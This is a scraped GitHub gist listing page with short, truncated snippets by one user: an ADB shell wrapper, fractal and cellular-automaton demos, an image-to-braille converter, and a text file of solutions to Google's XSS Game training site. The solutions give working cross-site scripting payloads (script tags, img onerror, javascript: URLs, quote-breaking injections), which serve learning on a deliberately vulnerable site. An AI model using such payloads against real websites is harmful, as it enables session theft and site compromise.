Skip to content

Instantly share code, notes, and snippets.

View WitherOrNot's full-sized avatar
🤠
yeehaw

WitherOrNot

🤠
yeehaw
View GitHub Profile
@WitherOrNot
WitherOrNot / adbshell.bat
Created February 4, 2020 00:58
Augmented ADB Shell for remote Android management
@echo off
cls
:a
for /f "delims=" %%i in ('adb shell pwd') do set pwd=%%i
title adbshell- %pwd%
set /p com="adbshell- %pwd% $ "
echo %com% >com.txt
goto b
:c
adb shell "%com%"
#!/usr/bin/env python
from selenium import webdriver
from selenium.webdriver.firefox.options import Options
import timeit
import psutil
import proxyscrape
import requests
CHW_URL = "https://www.channel-watcher.com/supplier/520/witherornot" # Change this to your syndicate url
@WitherOrNot
WitherOrNot / knights_tour.py
Created January 9, 2020 19:51
somehow both super easy and really hard
import turtle
import random
t = turtle.Turtle()
s = turtle.Screen()
n = 30 # width of board, in cells, must be even
width = 10 # width of cell, in turtle units
dot_size = 0 # dot size
@WitherOrNot
WitherOrNot / burning_ship.py
Last active January 4, 2020 06:11
+4 chars = totally new fractal apparently
from __future__ import division
import pygame
import sys
import os
import math
pygame.init()
scr = pygame.display.set_mode((200,200))
psx = -2
@WitherOrNot
WitherOrNot / mandelbrot.py
Created January 4, 2020 06:08
how original
from __future__ import division
import pygame
import sys
import os
pygame.init()
scr = pygame.display.set_mode((200,200))
psx = -2
psy = -2
@WitherOrNot
WitherOrNot / img_to_braille.py
Last active January 7, 2020 15:30
images for blind people and youtube commenters
# -*- coding: utf-8 -*-
from PIL import Image
import sys
THRESH = int(sys.argv[2]) if len(sys.argv) > 2 else 200
col = Image.open(sys.argv[1])
col.thumbnail((128, 128), Image.ANTIALIAS)
w, h = col.size
@WitherOrNot
WitherOrNot / ssd.py
Created November 20, 2019 00:54
Decomposes n into a,b such that a^2 + b^2 = n
from math import floor as fl
from math import sqrt
from random import randint
def ctuple(z):
return z.real, z.imag
def floor(x):
if x < 0:
return -fl(-x)
@WitherOrNot
WitherOrNot / cycal.py
Created August 29, 2019 01:31
1d cyclic cellular automaton
from random import randrange
from PIL import Image
colortrans = [
(255,0,0),
(255,127,0),
(255,255,0),
(127,255,0),
(0,255,0),
(0,255,127),
@WitherOrNot
WitherOrNot / xss-game.txt
Created June 19, 2019 02:38
Solutions to Google XSS Game xss-game.appspot.com
Level 1:
set url to https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
Level 2:
post <img src="x" onerror="alert(1)" /> in message box
Level 3:
set url to https://xss-game.appspot.com/level3/frame#x' onerror='alert(1)' />
Level 4:
set url to https://xss-game.appspot.com/level4/frame?timer=3');+alert(1);+//
Level 5:
set url to https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1) and click Next >>
@WitherOrNot
WitherOrNot / gol.py
Created June 14, 2019 05:06
Conway's Game of Life in the terminal
import random
size = 20
#on = [(1,1),(1,2),(1,3)] #Blinker
#on = [(1,0),(2,1),(0,2),(1,2),(2,2)] #Glider
on = [(2,2),(3,2),(4,2),(5,2),(6,2),(7,2),(9,2),(10,2),(2,3),(3,3),(4,3),(5,3),(6,3),(7,3),(9,3),(10,3),(9,4),(10,4),(2,5),(3,5),(9,5),(10,5),(2,6),(3,6),(9,6),(10,6),(2,7),(3,7),(9,7),(10,7),(2,8),(3,8),(2,9),(3,9),(5,9),(6,9),(7,9),(8,9),(9,9),(10,9),(2,10),(3,10),(5,10),(6,10),(7,10),(8,10),(9,10),(10,10)]
#^ Galaxy
#on = [(24, 0), (22, 1), (24, 1), (12, 2), (13, 2), (20, 2), (21, 2), (34, 2), (35, 2), (11, 3), (15, 3), (20, 3), (21, 3), (34, 3), (35, 3), (0, 4), (1, 4), (10, 4), (16, 4), (20, 4), (21, 4), (0, 5), (1, 5), (10, 5), (14, 5), (16, 5), (17, 5), (22, 5), (24, 5), (10, 6), (16, 6), (24, 6), (11, 7), (15, 7), (12, 8), (13, 8)]
#^Glider gun, 60 iters (start at 60)
#on = [(random.randint(0,size),random.randint(0,size)) for _ in range(random.randint(1,size**2))] #Random